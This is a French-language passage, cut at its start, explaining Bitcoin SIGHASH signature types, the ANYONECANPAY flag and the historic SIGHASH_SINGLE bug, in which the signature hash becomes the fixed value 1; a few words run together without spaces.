0x03pointant vers SIGHASH_SINGLE ont été extraites des scripts de signature (scriptSig) de deux d'entre elles — c'est-à-dire des signatures qui ne signent que la paire d'entrées et de sorties correspondantes. Cependant, nous observons ici une situation : l'entrée avec l'index 2 n'a pas de sortie correspondante avec le même index.


En raison d'un bogue historique de Bitcoin, dans de telles situations, le hachage de transaction pour la signature est retourné sous la forme d'un nombre fixe – un (int 1). Cela ne correspond pas à un hachage valide de la transaction en cours de signature et peut créer des problèmes de sécurité et de compatibilité.
En plus des trois valeurs SIGHASH de base, des combinaisons de ces valeurs sont possibles avec l'indicateur SIGHASH_ANYONECANPAY , qui permet de ne signer qu'une seule entrée, laissant les autres ouvertes à la modification. Cela élargit les possibilités de création de protocoles collaboratifs complexes et de transactions multipartites, où différents participants ne signent que leurs parties.
Les types
SIGHASHsontBitcoinun mécanisme astucieux pour gérer le niveau de contrôle et la portée des signatures numériques au sein des transactions. Ils établissent un équilibre entre sécurité, flexibilité et compatibilité. L'histoire inclut des complications inattendues, comme le bogue avecSIGHASH_SINGLEsans sortie correspondante, ce qui souligne l'importance d'une compréhension approfondie des détails techniques pour travailler avec succès avec Bitcoin à un niveau avancé.
Les différences entre les types de signature SIGHASH_ALL, SIGHASH_NONE et SIGHASH_SINGLE ont un impact significatif sur la sécurité des transactions Bitcoin, car elles déterminent quelles parties de la transaction sont incluses dans la signature numérique et donc protégées contre toute modification.